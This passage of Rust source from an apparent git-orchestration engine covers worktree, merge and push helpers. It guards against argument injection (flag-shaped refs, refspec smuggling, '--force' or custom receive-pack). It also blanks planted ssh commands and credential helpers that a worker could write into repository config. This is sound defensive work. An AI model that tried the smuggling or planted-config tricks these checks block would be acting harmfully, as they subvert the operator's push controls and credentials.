1609 //
1610 // Parallel-within-milestone execution runs each independent feature's
1611 // worker in its own git worktree checked out to a per-feature branch off
1612 // the milestone-start sha, then merges those branches back into the mission
1613 // branch in declared order. The worktrees share this repo's object store
1614 // but have their own working directories, so concurrent workers never step
1615 // on each other's files. All operations shell out with explicit arg vectors
1616 // and std::path, so they stay Windows-safe like the rest of GitRepo.
1617
1618 /// Create a new worktree at `path`, checked out to a NEW branch `branch`
1619 /// created at `from_sha` (`git worktree add -b <branch> <path> <from_sha>`).
1620 ///
1621 /// `path` may be absolute or relative to the repo root; git records the
1622 /// absolute path either way. The branch must not already exist (git's `-b`
1623 /// fails otherwise) — callers use a fresh per-feature branch name.
1624 pub fn add_worktree(&self, path: &Path, branch: &str, from_sha: &str) -> Result<()> {
1625 // Guard against a caller sneaking a flag through the branch/sha slots.
1626 for slot in [branch, from_sha] {
1627 if slot.starts_with('-') {
1628 return Err(EngineError::Git(format!(
1629 "refusing worktree add with flag-shaped argument {slot:?}"
1630 )));
1631 }
1632 }
1633 let args: Vec<OsString> = vec![
1634 "worktree".into(),
1635 "add".into(),
1636 "-b".into(),
1637 branch.into(),
1638 git_path_arg(path).into_os_string(),
1639 from_sha.into(),
1640 ];
1641 self.run_os(&args)?;
1642 Ok(())
1643 }
1644
1645 /// Create a new worktree at `path`, checked out to the EXISTING branch
1646 /// `branch` (`git worktree add <path> <branch>`, no `-b`).
1647 ///
1648 /// `path` may be absolute or relative to the repo root; git records the
1649 /// absolute path either way. `branch` must already exist and must NOT
1650 /// already be checked out in another worktree — git refuses to check the
1651 /// same branch out twice and that failure surfaces as [`EngineError::Git`].
1652 pub fn add_worktree_checkout(&self, path: &Path, branch: &str) -> Result<()> {
1653 // Guard against a caller sneaking a flag through the branch slot.
1654 if branch.starts_with('-') {
1655 return Err(EngineError::Git(format!(
1656 "refusing worktree add with flag-shaped argument {branch:?}"
1657 )));
1658 }
1659 let args: Vec<OsString> = vec![
1660 "worktree".into(),
1661 "add".into(),
1662 git_path_arg(path).into_os_string(),
1663 branch.into(),
1664 ];
1665 self.run_os(&args)?;
1666 Ok(())
1667 }
1668
1669 /// Create a detached worktree at `path` pinned to `commit`.
1670 ///
1671 /// Gated merge uses this to build and validate an integration commit
1672 /// without checking out either moving branch in the primary tree.
1673 pub fn add_detached_worktree(&self, path: &Path, commit: &str) -> Result<()> {
1674 if commit.starts_with('-') {
1675 return Err(EngineError::Git(format!(
1676 "refusing detached worktree add with flag-shaped commit {commit:?}"
1677 )));
1678 }
1679 let args: Vec<OsString> = vec![
1680 "worktree".into(),
1681 "add".into(),
1682 "--detach".into(),
1683 git_path_arg(path).into_os_string(),
1684 commit.into(),
1685 ];
1686 self.run_os(&args)?;
1687 Ok(())
1688 }
1689
1690 /// Remove a worktree at `path` (`git worktree remove --force <path>`),
1691 /// tolerating a worktree that is already gone.
1692 ///
1693 /// `--force` is used so a worktree with a dirty tree (a worker that left
1694 /// uncommitted changes, or a merge that has already consumed its commits)
1695 /// is still removed — leaked worktrees are the failure mode this guards
1696 /// against. When git reports the worktree is not registered / does not
1697 /// exist, that is treated as success (idempotent cleanup). Any OTHER git
1698 /// failure surfaces as [`EngineError::Git`].
1699 pub fn remove_worktree(&self, path: &Path) -> Result<()> {
1700 let args: Vec<OsString> = vec![
1701 "worktree".into(),
1702 "remove".into(),
1703 "--force".into(),
1704 git_path_arg(path).into_os_string(),
1705 ];
1706 let out = self.probe_os(&args)?;
1707 if out.status.success() {
1708 return Ok(());
1709 }
1710 // Already-gone worktrees are fine: git says "is not a working tree" or
1711 // "No such file or directory" / "not a valid path". Match leniently on
1712 // the combined output so cleanup is idempotent across git versions.
1713 let detail = failure_detail(&out).to_lowercase();
1714 let already_gone = detail.contains("is not a working tree")
1715 || detail.contains("not a working tree")
1716 || detail.contains("no such file")
1717 || detail.contains("is not a valid path")
1718 || detail.contains("not a valid path");
1719 if already_gone {
1720 Ok(())
1721 } else {
1722 Err(EngineError::Git(format!(
1723 "git worktree remove {} failed ({}): {}",
1724 path.display(),
1725 out.status,
1726 failure_detail(&out)
1727 )))
1728 }
1729 }
1730
1731 /// Merge `branch` into the current branch with an explicit merge commit
1732 /// (`git merge --no-ff --no-edit <branch>`), reporting clean vs conflict.
1733 ///
1734 /// A clean merge returns [`MergeOutcome::Clean`] with the merge commit on
1735 /// the current branch. On conflict the merge is rolled back with
1736 /// `git merge --abort` (so the working tree is left CLEAN — the porcelain
1737 /// status is empty afterwards) and [`MergeOutcome::Conflict`] is returned,
1738 /// carrying the conflicting paths git named. When git refuses the merge
1739 /// before it ever starts (no `MERGE_HEAD`, e.g. an untracked file in the
1740 /// way) [`MergeOutcome::RefusedPreMerge`] is returned instead, carrying
1741 /// git's verbatim refusal — no abort is attempted, since there is nothing
1742 /// to abort. Only a genuine git failure (git could not be spawned, or the
1743 /// abort itself failed on a real conflict) is an `Err`.
1744 pub fn merge_no_ff(&self, branch: &str) -> Result<MergeOutcome> {
1745 self.merge_no_ff_with_message(branch, None)
1746 }
1747
1748 /// Like [`Self::merge_no_ff`] but supplies an explicit merge commit
1749 /// message, used for kranz-authored trailer metadata.
1750 pub fn merge_no_ff_with_message(
1751 &self,
1752 branch: &str,
1753 message: Option<&str>,
1754 ) -> Result<MergeOutcome> {
1755 if branch.starts_with('-') {
1756 return Err(EngineError::Git(format!(
1757 "refusing to merge flag-shaped ref {branch:?}"
1758 )));
1759 }
1760 let out = match message {
1761 Some(message) => self.probe(&["merge", "--no-ff", "-m", message, branch])?,
1762 None => self.probe(&["merge", "--no-ff", "--no-edit", branch])?,
1763 };
1764 if out.status.success() {
1765 return Ok(MergeOutcome::Clean);
1766 }
1767 // Distinguish a genuine content conflict (MERGE_HEAD exists — a merge
1768 // is actually in progress) from a pre-merge refusal (e.g. an
1769 // untracked file the merge would overwrite), which never creates
1770 // MERGE_HEAD and so has nothing for `git merge --abort` to roll back.
1771 let merge_in_progress = self
1772 .probe(&["rev-parse", "-q", "--verify", "MERGE_HEAD"])?
1773 .status
1774 .success();
1775 if !merge_in_progress {
1776 return Ok(MergeOutcome::RefusedPreMerge {
1777 detail: failure_detail(&out),
1778 });
1779 }
1780 // A conflicting merge leaves the tree mid-merge; collect the unmerged
1781 // paths (best-effort) BEFORE aborting, then abort to restore a clean
1782 // tree so the caller never inherits a half-merged working directory.
1783 let files = self.unmerged_paths().unwrap_or_default();
1784 // `git merge --abort` must succeed to honour the clean-tree contract;
1785 // a failure here is a real error (the tree is left mid-merge).
1786 self.run(&["merge", "--abort"]).map_err(|e| {
1787 EngineError::Git(format!(
1788 "merge of {branch:?} conflicted and `git merge --abort` also failed: {e}"
1789 ))
1790 })?;
1791 Ok(MergeOutcome::Conflict { files })
1792 }
1793
1794 /// Move the current branch to an already-created descendant commit with
1795 /// `git merge --ff-only`. Gated merge uses this after validating the exact
1796 /// integration commit in a scratch worktree.
1797 pub fn fast_forward_to(&self, commit: &str) -> Result<MergeOutcome> {
1798 if commit.starts_with('-') {
1799 return Err(EngineError::Git(format!(
1800 "refusing fast-forward to flag-shaped commit {commit:?}"
1801 )));
1802 }
1803 let out = self.probe(&["merge", "--ff-only", commit])?;
1804 if out.status.success() {
1805 Ok(MergeOutcome::Clean)
1806 } else {
1807 Ok(MergeOutcome::RefusedPreMerge {
1808 detail: failure_detail(&out),
1809 })
1810 }
1811 }
1812
1813 /// Bytes of `path` as it exists on `branch` (`git show <branch>:<path>`),
1814 /// or `None` when the path does not exist on that branch. Used to compare
1815 /// an untracked working-tree file byte-for-byte against the version a
1816 /// merge would bring in, so it can be safely removed when identical.
1817 pub fn show_file(&self, branch: &str, path: &str) -> Result<Option<Vec<u8>>> {
1818 if branch.starts_with('-') {
1819 return Err(EngineError::Git(format!(
1820 "refusing show_file with flag-shaped ref {branch:?}"
1821 )));
1822 }
1823 let spec = format!("{branch}:{path}");
1824 let out = self.probe(&["show", &spec])?;
1825 if out.status.success() {
1826 Ok(Some(out.stdout))
1827 } else {
1828 let detail = failure_detail(&out).to_lowercase();
1829 if detail.contains("does not exist") || detail.contains("exists on disk, but not") {
1830 Ok(None)
1831 } else {
1832 Err(EngineError::Git(format!(
1833 "git show {spec} failed ({}): {}",
1834 out.status,
1835 failure_detail(&out)
1836 )))
1837 }
1838 }
1839 }
1840
1841 /// Whether `path` is tracked in the index (`git ls-files --error-unmatch
1842 /// -- <path>`): exit 0 ⇒ tracked; exit 1 ⇒ untracked/absent (NOT an
1843 /// error); any other status is a real git failure. The Flight Rules
1844 /// trust boundary (KRZ-341, D-A/D-J) uses this to decide whether a pack
1845 /// may activate ENFORCED rules: only tracked, repo-relative pack bytes
1846 /// have provable base history.
1847 pub fn is_tracked(&self, path: &str) -> Result<bool> {
1848 if path.starts_with('-') {
1849 return Err(EngineError::Git(format!(
1850 "refusing is_tracked with flag-shaped path {path:?}"
1851 )));
1852 }
1853 let out = self.probe(&["ls-files", "--error-unmatch", "--", path])?;
1854 match out.status.code() {
1855 Some(0) => Ok(true),
1856 Some(1) => Ok(false),
1857 _ => Err(EngineError::Git(format!(
1858 "git ls-files --error-unmatch -- {path} failed ({}): {}",
1859 out.status,
1860 failure_detail(&out)
1861 ))),
1862 }
1863 }
1864
1865 /// Recursive `git ls-tree -r -l <refname> -- <prefix>`: every entry under
1866 /// `prefix` at `refname` with its git mode, object kind, and blob size.
1867 /// The Flight Rules loader (KRZ-341) reads a standards corpus from a
1868 /// PINNED base tree through this — never from the worktree — so a mission
1869 /// branch edit cannot reshape the policy judging it. A flag-shaped ref
1870 /// or prefix is refused before invoking git (mirroring [`Self::show_file`]).
1871 pub fn ls_tree_recursive(&self, refname: &str, prefix: &str) -> Result<Vec<TreeEntry>> {
1872 for slot in [refname, prefix] {
1873 if slot.starts_with('-') {
1874 return Err(EngineError::Git(format!(
1875 "refusing ls-tree with flag-shaped argument {slot:?}"
1876 )));
1877 }
1878 }
1879 let out = self.probe(&["ls-tree", "-r", "-l", refname, "--", prefix])?;
1880 if !out.status.success() {
1881 return Err(EngineError::Git(format!(
1882 "git ls-tree -r -l {refname} -- {prefix} failed ({}): {}",
1883 out.status,
1884 failure_detail(&out)
1885 )));
1886 }
1887 let stdout = String::from_utf8_lossy(&out.stdout);
1888 let mut entries = Vec::new();
1889 for line in stdout.lines() {
1890 let line = line.trim_end_matches('\r');
1891 if line.is_empty() {
1892 continue;
1893 }
1894 // `<mode> SP <type> SP <oid> SP <size> TAB <path>`; size is `-`
1895 // for non-blobs. A path git had to C-quote (control/non-ASCII
1896 // bytes) keeps its leading `"` here so the consumer fails closed
1897 // instead of misreading an unquoted rendering.
1898 let Some((meta, path)) = line.split_once('\t') else {
1899 return Err(EngineError::Git(format!(
1900 "git ls-tree emitted an unparseable line: {line:?}"
1901 )));
1902 };
1903 let fields: Vec<&str> = meta.split_whitespace().collect();
1904 let [mode, kind, _oid, size] = fields.as_slice() else {
1905 return Err(EngineError::Git(format!(
1906 "git ls-tree emitted an unparseable line: {line:?}"
1907 )));
1908 };
1909 let size = match *size {
1910 "-" => None,
1911 digits => Some(digits.parse::<u64>().map_err(|_| {
1912 EngineError::Git(format!("git ls-tree emitted a bad size in line: {line:?}"))
1913 })?),
1914 };
1915 entries.push(TreeEntry {
1916 mode: (*mode).to_string(),
1917 kind: (*kind).to_string(),
1918 size,
1919 path: path.to_string(),
1920 });
1921 }
1922 Ok(entries)
1923 }
1924
1925 /// Whether `path` is currently untracked in the working tree
1926 /// (`git status --porcelain -- <path>` reports a `??` entry). `false`
1927 /// when the path is tracked, ignored-and-absent, or simply not present.
1928 pub fn is_untracked(&self, path: &str) -> Result<bool> {
1929 let out = self.run(&["status", "--porcelain", "--", path])?;
1930 Ok(out.lines().any(|l| l.starts_with("??")))
1931 }
1932
1933 /// Paths with unmerged (conflicted) entries in the index
1934 /// (`git diff --name-only --diff-filter=U`). Empty when there are none.
1935 fn unmerged_paths(&self) -> Result<Vec<String>> {
1936 let out = self.run(&["diff", "--name-only", "--diff-filter=U"])?;
1937 Ok(out
1938 .lines()
1939 .map(|l| l.trim_end_matches('\r').trim())
1940 .filter(|l| !l.is_empty())
1941 .map(str::to_string)
1942 .collect())
1943 }
1944
1945 /// Absolute paths of every registered worktree (`git worktree list`),
1946 /// including the primary working tree. Used by cleanup to detect leaks.
1947 pub fn list_worktrees(&self) -> Result<Vec<String>> {
1948 // `--porcelain` emits `worktree <abs-path>` lines (plus HEAD/branch
1949 // detail we ignore); parse just the paths for a stable, quoting-free
1950 // listing across git versions.
1951 let out = self.run(&["worktree", "list", "--porcelain"])?;
1952 let mut paths = Vec::new();
1953 for line in out.lines() {
1954 let line = line.trim_end_matches('\r');
1955 if let Some(rest) = line.strip_prefix("worktree ") {
1956 paths.push(rest.trim().to_string());
1957 }
1958 }
1959 Ok(paths)
1960 }
1961
1962 /// Prune administrative records of worktrees whose directories are gone
1963 /// (`git worktree prune`). Safe to call unconditionally after cleanup.
1964 pub fn prune_worktrees(&self) -> Result<()> {
1965 self.run(&["worktree", "prune"])?;
1966 Ok(())
1967 }
1968
1969 /// Delete a local branch, force (`git branch -D <name>`), tolerating a
1970 /// branch that is already gone. Used to tidy per-feature worktree branches
1971 /// after their worktrees are removed (roadmap M3 cleanup).
1972 pub fn delete_branch_force(&self, name: &str) -> Result<()> {
1973 if name.starts_with('-') {
1974 return Err(EngineError::Git(format!(
1975 "refusing to delete flag-shaped branch {name:?}"
1976 )));
1977 }
1978 let out = self.probe(&["branch", "-D", name])?;
1979 if out.status.success() {
1980 return Ok(());
1981 }
1982 let detail = failure_detail(&out).to_lowercase();
1983 if detail.contains("not found") || detail.contains("no branch") {
1984 Ok(())
1985 } else {
1986 Err(EngineError::Git(format!(
1987 "git branch -D {name} failed ({}): {}",
1988 out.status,
1989 failure_detail(&out)
1990 )))
1991 }
1992 }
1993
1994 /// URL of remote `name` (`git remote get-url`), or `Ok(None)` when absent.
1995 pub fn remote_url(&self, name: &str) -> Result<Option<String>> {
1996 if name.starts_with('-') || name.chars().any(char::is_whitespace) {
1997 return Err(EngineError::Git(format!(
1998 "refusing remote_url of malformed remote {name:?}"
1999 )));
2000 }
2001 let out = self.probe(&["remote", "get-url", name])?;
2002 if !out.status.success() {
2003 return Ok(None);
2004 }
2005 let url = String::from_utf8_lossy(&out.stdout).trim().to_string();
2006 if url.is_empty() {
2007 Ok(None)
2008 } else {
2009 Ok(Some(url))
2010 }
2011 }
2012
2013 /// Whether `remote` advertises branch `branch` (`git ls-remote --heads`).
2014 /// Read-only network probe — never updates local refs.
2015 pub fn remote_has_branch(&self, remote: &str, branch: &str) -> Result<bool> {
2016 for slot in [remote, branch] {
2017 if slot.starts_with('-') || slot.contains(':') || slot.chars().any(char::is_whitespace)
2018 {
2019 return Err(EngineError::Git(format!(
2020 "refusing remote_has_branch with malformed ref {slot:?}"
2021 )));
2022 }
2023 }
2024 // Network mode: the operator's ~/.gitconfig stays in force (an
2025 // ls-remote against an https host needs the same credential helper a
2026 // push does) and this repo's own config is pre-flighted first.
2027 let out = self.probe_network(&["ls-remote", "--heads", remote, branch])?;
2028 if !out.status.success() {
2029 return Err(EngineError::Git(format!(
2030 "git ls-remote --heads {remote} {branch} failed ({}): {}",
2031 out.status,
2032 failure_detail(&out)
2033 )));
2034 }
2035 let stdout = String::from_utf8_lossy(&out.stdout);
2036 let needle = format!("refs/heads/{branch}");
2037 Ok(stdout.lines().any(|line| line.contains(&needle)))
2038 }
2039
2040 /// Whether a remote named `name` is configured (`git remote get-url`).
2041 ///
2042 /// A probe, not an assertion: returns `Ok(false)` when the remote is
2043 /// absent and only errors when git itself cannot be spawned. Callers use
2044 /// this to decide whether a cloud mission has anywhere to push to before
2045 /// calling [`GitRepo::push_mission_branch`].
2046 pub fn has_remote(&self, name: &str) -> Result<bool> {
2047 Ok(self.remote_url(name)?.is_some())
2048 }
2049
2050 /// Push a single `kranz/*` mission ref to `remote` — **the one and only
2051 /// push path in Kranz, and it is cloud-opt-in.**
2052 ///
2053 /// ## Local default: Kranz never pushes (plan §4.4)
2054 ///
2055 /// Git is the source of truth, but on a local host Kranz writes only to the
2056 /// working tree and local refs — it never contacts a remote. No mission
2057 /// loop or server route calls this method. The sole caller is the explicit
2058 /// `kranz exec --push <REMOTE>` M6 cloud handoff; nothing about the local
2059 /// default changes unless a human or cloud job supplies that flag.
2060 ///
2061 /// ## Guard rails (why this is safe to expose)
2062 ///
2063 /// - The branch **must** begin with `kranz/` — mission branches are
2064 /// `kranz/mission-<id>` and mission tags live under `kranz/<id>/…`.
2065 /// Anything else (`main`, `master`, `HEAD`, a bare sha, `--force`, or a
2066 /// refspec smuggling a second ref) is rejected with
2067 /// [`EngineError::Git`] **before any git process runs** — no network.
2068 /// - `remote` must be an already-configured, non-flag-shaped remote name.
2069 /// The push is a plain `git push <remote> <branch>`: never `--force`,
2070 /// `--mirror`, a custom receive-pack, a `src:dst` refspec, `main`, or a
2071 /// merge. The human still reviews the `kranz/*` branch and opens the PR.
2072 /// - On failure git's stderr is surfaced verbatim via [`EngineError::Git`],
2073 /// so a bad deploy key or a rejected non-fast-forward shows up in the
2074 /// mission log with git's own words.
2075 ///
2076 /// The deploy key / GitHub App backing `remote` should itself be scoped to
2077 /// `kranz/*` refs (see docs/deploy.md); this guard is defence in depth, not
2078 /// the only line of defence.
2079 pub fn push_mission_branch(&self, remote: &str, branch: &str) -> Result<()> {
2080 // `remote` occupies an option-parsed argv slot before `branch`; a
2081 // flag-shaped value could otherwise turn this method's supposedly
2082 // plain push into `--force`, `--mirror`, or a custom receive-pack.
2083 // Cloud handoff accepts configured remote NAMES only, never an
2084 // arbitrary URL or path supplied at the CLI boundary.
2085 if remote.is_empty()
2086 || remote.starts_with('-')
2087 || remote.contains(':')
2088 || remote.chars().any(char::is_whitespace)
2089 {
2090 return Err(EngineError::Git(format!(
2091 "refusing to push to malformed remote {remote:?}: --push accepts a plain configured remote name"
2092 )));
2093 }
2094 // Defence in depth: refuse anything that is not a mission ref *before*
2095 // spawning git, so a mis-wired caller can never push main or a merge.
2096 // `kranz/` (with the slash) is required so a branch literally named
2097 // "kranz" or "kranzfoo" cannot slip through.
2098 if !branch.starts_with("kranz/") {
2099 return Err(EngineError::Git(format!(
2100 "refusing to push non-kranz ref {branch:?}: push_mission_branch \
2101 only pushes kranz/* mission refs, never main or merges"
2102 )));
2103 }
2104 // Reject characters that could turn a single branch name into extra
2105 // arguments or a src:dst refspec. A legitimate mission ref never
2106 // contains whitespace, a colon, or a leading dash.
2107 if branch.contains(':')
2108 || branch.starts_with('-')
2109 || branch.chars().any(char::is_whitespace)
2110 {
2111 return Err(EngineError::Git(format!(
2112 "refusing to push malformed ref {branch:?}: a mission branch is \
2113 a plain kranz/* name with no refspec, flags, or whitespace"
2114 )));
2115 }
2116 // Report every armed network key before the remote lookup's narrower
2117 // local-execution guard runs. run_network rechecks before transport.
2118 self.refuse_network_on_armed_local_config()?;
2119 if self.remote_url(remote)?.is_none() {
2120 return Err(EngineError::Git(format!(
2121 "refusing to push to unconfigured remote {remote:?}: add and review the remote before cloud handoff"
2122 )));
2123 }
2124 // Plain push to one already-configured remote of one local branch to
2125 // the same-named remote branch.
2126 // Never --force; never a refspec; never main.
2127 //
2128 // Network mode ([`Self::run_network`]): the tree being pushed is the
2129 // one the worker just wrote, so this refuses outright if the
2130 // repository's own config carries a credential helper, an ssh
2131 // command, a URL rewrite or a transport hook — while leaving the
2132 // operator's `~/.gitconfig` in force, which is what makes an https
2133 // push find a credential at all.
2134 self.run_network(&["push", remote, branch])?;
2135 Ok(())
2136 }
2137
2138 /// Guarantee commits can be made: PIN `user.name` / `user.email` into the
2139 /// repo's LOCAL config when they are not already set there — to whatever
2140 /// the operator's config resolves them to, falling back to
2141 /// `kranz <kranz@localhost>` when nothing resolves at all. A local
2142 /// identity is never overwritten, and missions never fail on hosts
2143 /// without a global git identity.
2144 ///
2145 /// Pinning into local scope (rather than only writing the fallback pair
2146 /// when nothing resolved) is what keeps commit authorship unchanged now
2147 /// that hardened invocations no longer read the operator's `~/.gitconfig`
2148 /// (audit H3 hardening, [`UserConfig::Ignored`]): without it, every
2149 /// engine commit on a host whose identity lives only in the global file
2150 /// would silently be restamped `kranz <kranz@localhost>`.
2151 pub fn ensure_identity(&self) -> Result<()> {
2152 for (key, fallback) in [("user.name", "kranz"), ("user.email", "kranz@localhost")] {
2153 let local = self.probe(&["config", "--local", "--get", key])?;
2154 let set_locally =
2155 local.status.success() && !String::from_utf8_lossy(&local.stdout).trim().is_empty();
2156 if set_locally {
2157 continue;
2158 }
2159 let resolved = self.probe_with_user_config(&["config", "--get", key])?;
2160 let value = String::from_utf8_lossy(&resolved.stdout).trim().to_string();
2161 let value = if resolved.status.success() && !value.is_empty() {
2162 value
2163 } else {
2164 fallback.to_string()
2165 };
2166 // `git config <key> <value>` writes to the local repo config.
2167 self.run(&["config", key, &value])?;
2168 }
2169 Ok(())
2170 }
2171
2172 /// The git identity this repo resolves to right now: `(user.name,
2173 /// user.email)` from any config scope (local/global/system) visible to
2174 /// the calling process's environment, falling back to the same
2175 /// `kranz`/`kranz@localhost` pair [`Self::ensure_identity`] would write when
2176 /// neither key resolves.
2177 ///
2178 /// Used to carry the *engine's* resolved identity into a worker session
2179 /// whose relocated `HOME` can no longer see the operator's global
2180 /// `~/.gitconfig` (see `GIT_AUTHOR_NAME` etc. injection in
2181 /// `runner::seed_worker_env`).
2182 pub fn resolved_identity(&self) -> Result<(String, String)> {
2183 let resolve = |key: &str, fallback: &str| -> Result<String> {
2184 let probe = self.probe_with_user_config(&["config", "--get", key])?;
2185 let value = String::from_utf8_lossy(&probe.stdout).trim().to_string();
2186 if probe.status.success() && !value.is_empty() {
2187 Ok(value)
2188 } else {
2189 Ok(fallback.to_string())
2190 }
2191 };
2192 let name = resolve("user.name", "kranz")?;
2193 let email = resolve("user.email", "kranz@localhost")?;
2194 Ok((name, email))
2195 }
2196
2197 // -- plumbing ----------------------------------------------------------
2198
2199 /// Run git and return the raw `Output` without checking the exit status
2200 /// (for existence/is-set probes). Errors only when git cannot be spawned.
2201 fn probe(&self, args: &[&str]) -> Result<Output> {
2202 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2203 self.probe_os(&os)
2204 }
2205
2206 fn probe_os(&self, args: &[OsString]) -> Result<Output> {
2207 self.spawn_git(args, UserConfig::Ignored, ExecFlags::All)
2208 }
2209
2210 /// [`Self::probe`] for the two identity reads that MUST still see the
2211 /// operator's `~/.gitconfig` (see [`UserConfig::Visible`]).
2212 fn probe_with_user_config(&self, args: &[&str]) -> Result<Output> {
2213 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2214 self.spawn_git(&os, UserConfig::Visible, ExecFlags::All)
2215 }
2216
2217 /// Run a git operation that CONTACTS A REMOTE, demanding success.
2218 ///
2219 /// Two things differ from [`Self::run`], and they are the same decision
2220 /// seen from two sides (audit 2026-09-01 F-11): the operator's
2221 /// `~/.gitconfig` stays in force (without it an https push has no
2222 /// credential source and an `insteadOf` convention silently sends the
2223 /// push to the un-rewritten URL), and the repository's own config — the
2224 /// scope a worker can write — is pre-flighted first and the operation
2225 /// refused if it carries anything that names a program, a credential, or
2226 /// a URL rewrite.
2227 fn run_network(&self, args: &[&str]) -> Result<String> {
2228 self.refuse_network_on_armed_local_config()?;
2229 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2230 let out = self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)?;
2231 check_status(&os, out)
2232 }
2233
2234 /// [`Self::run_network`] without the success demand, for network probes.
2235 fn probe_network(&self, args: &[&str]) -> Result<Output> {
2236 self.refuse_network_on_armed_local_config()?;
2237 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2238 self.spawn_git(&os, UserConfig::KeptForNetwork, ExecFlags::NetworkSafe)
2239 }
2240
2241 fn spawn_git(
2242 &self,
2243 args: &[OsString],
2244 user_config: UserConfig,
2245 exec_flags: ExecFlags,
2246 ) -> Result<Output> {
2247 let mut cmd = Command::new("git");
2248 if let Some(flags) = &self.exec_disable_flags {
2249 if user_config == UserConfig::Ignored
2250 && exec_flags != ExecFlags::None
2251 && !args.first().is_some_and(|arg| arg == "config")
2252 {
2253 self.refuse_new_exec_configuration(flags)?;
2254 }
2255 if user_config != UserConfig::KeptForNetwork {
2256 clear_local_git_env(&mut cmd, user_config);
2257 }
2258 // `-c` must precede the subcommand; the segment neutralizes every
2259 // executable config surface this handle promises to cover (see
2260 // with_hooks_disabled / build_exec_disable_flags).
2261 cmd.args(exec_flags.select(flags));
2262 // `-c` overrides only the keys it names. `GIT_CONFIG_PARAMETERS`
2263 // and a `GIT_CONFIG_COUNT` triple inherited from the engine's own
2264 // environment would inject further config UNDER those overrides,
2265 // so they are cleared on every hardened invocation regardless of
2266 // scope (the idiom `contract_lint::lint_env` uses from the other
2267 // side).
2268 cmd.env_remove("GIT_CONFIG_PARAMETERS");
2269 cmd.env_remove("GIT_CONFIG_COUNT");
2270 for (key, value) in hardened_config_env(user_config)? {
2271 cmd.env(key, value);
2272 }
2273 }
2274 if self.exec_disable_flags.is_some() && args.first().is_some_and(|arg| arg == "diff") {
2275 cmd.args(["diff", "--no-ext-diff", "--no-textconv"])
2276 .args(&args[1..]);
2277 } else {
2278 cmd.args(args);
2279 }
2280 cmd.current_dir(&self.root).stdin(Stdio::null());
2281 process::output(
2282 cmd,
2283 process::Limits::for_command(args, user_config == UserConfig::KeptForNetwork),
2284 )
2285 .map_err(|e| EngineError::Git(format!("failed to invoke git {}: {e}", render_args(args))))
2286 }
2287
2288 /// Run git, demanding success; returns raw stdout (callers trim as needed).
2289 fn run(&self, args: &[&str]) -> Result<String> {
2290 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
2291 self.run_os(&os)
2292 }
2293
2294 fn run_os(&self, args: &[OsString]) -> Result<String> {
2295 let out = self.probe_os(args)?;
2296 check_status(args, out)
2297 }
2298}
2299
2300/// Which entries of a hardened handle's `-c` segment one invocation carries.
2301#[derive(Debug, Clone, Copy, PartialEq, Eq)]
2302enum ExecFlags {
2303 /// The whole segment. Every local operation.
2304 All,
2305 /// The segment minus the entries that break a REAL remote: an empty
2306 /// `core.sshCommand` makes git exec the empty string instead of falling
2307 /// back to `ssh` (probed 2026-09-02), and an empty `credential.helper`
2308 /// resets away the operator's own helper. The surface those two cover in
2309 /// the repo scope is closed by
2310 /// [`GitRepo::refuse_network_on_armed_local_config`] instead.
2311 NetworkSafe,
2312 /// The segment minus `core.fsmonitor=`, for the two index-flag
2313 /// detections (see [`GitRepo::run_seeing_fsmonitor`]).
2314 SeeingFsmonitor,
2315 /// No `-c` entries at all — the config read that decides whether a
2316 /// network operation may run, which must observe the REPOSITORY's config
2317 /// rather than the overrides this handle is about to apply.
2318 None,
2319}
2320
2321/// `-c` entry that resets git's credential-helper list (an empty helper is
2322/// git's documented reset, and the command-line scope is read last).
2323const CREDENTIAL_HELPER_RESET: &str = "credential.helper=";
2324/// `-c` entry that blanks a planted `core.sshCommand`.
2325const SSH_COMMAND_OVERRIDE: &str = "core.sshCommand=";
2326
2327impl ExecFlags {
2328 /// The `-c key=value` pairs this mode keeps out of `flags` (which is
2329 /// always a flat `["-c", kv, "-c", kv, ...]`).
2330 fn select(self, flags: &[String]) -> Vec<String> {
2331 let drop = |kv: &str| match self {
2332 ExecFlags::All => false,
2333 ExecFlags::NetworkSafe => kv == CREDENTIAL_HELPER_RESET || kv == SSH_COMMAND_OVERRIDE,
2334 ExecFlags::SeeingFsmonitor => kv == "core.fsmonitor=",
2335 ExecFlags::None => true,
2336 };
2337 let mut kept = Vec::with_capacity(flags.len());
2338 let mut i = 0;
2339 while i + 1 < flags.len() {
2340 let (flag, kv) = (&flags[i], &flags[i + 1]);
2341 i += 2;
2342 if flag == "-c" && drop(kv) {
2343 continue;
2344 }
2345 kept.push(flag.clone());
2346 kept.push(kv.clone());
2347 }
2348 kept
2349 }
2350}
2351
2352/// Turn a finished git `Output` into stdout-on-success / [`EngineError::Git`].
2353fn check_status(args: &[OsString], out: Output) -> Result<String> {
2354 if out.status.success() {
2355 Ok(String::from_utf8_lossy(&out.stdout).into_owned())
2356 } else {
2357 Err(EngineError::Git(format!(
2358 "git {} failed ({}): {}",
2359 render_args(args),
2360 out.status,
2361 failure_detail(&out)
2362 )))
2363 }
2364}
2365
2366/// Human-readable rendering of an argument vector for error context.
2367fn render_args(args: &[OsString]) -> String {
2368 args.iter()
2369 .map(|a| a.to_string_lossy().into_owned())
2370 .collect::<Vec<_>>()
2371 .join(" ")
2372}
2373
2374/// Best error detail available: stderr, falling back to stdout (git prints
2375/// e.g. "nothing to commit" on stdout).
2376fn failure_detail(out: &Output) -> String {
2377 let stderr = String::from_utf8_lossy(&out.stderr).trim().to_string();
2378 let stdout = String::from_utf8_lossy(&out.stdout).trim().to_string();
2379 match (stderr.is_empty(), stdout.is_empty()) {
2380 (false, true) => stderr,
2381 (true, false) => stdout,
2382 (false, false) => format!("{stderr} | {stdout}"),
2383 (true, true) => "no output".to_string(),
2384 }
2385}
2386
2387#[cfg(test)]
2388mod tests {
2389 use super::*;
2390
2391 fn test_git(root: &Path, args: &[&str]) -> Output {
2392 Command::new("git")
2393 .args(args)
2394 .current_dir(root)
2395 .output()
2396 .expect("spawn git")
2397 }
2398
2399 fn init_test_repo(root: &Path) {
2400 if !test_git(root, &["init", "-b", "main"]).status.success() {
2401 assert!(test_git(root, &["init"]).status.success());
2402 }
2403 assert!(test_git(root, &["config", "user.name", "kranz-test"])
2404 .status
2405 .success());
2406 assert!(
2407 test_git(root, &["config", "user.email", "test@kranz.local"])
2408 .status
2409 .success()
2410 );
2411 }
2412
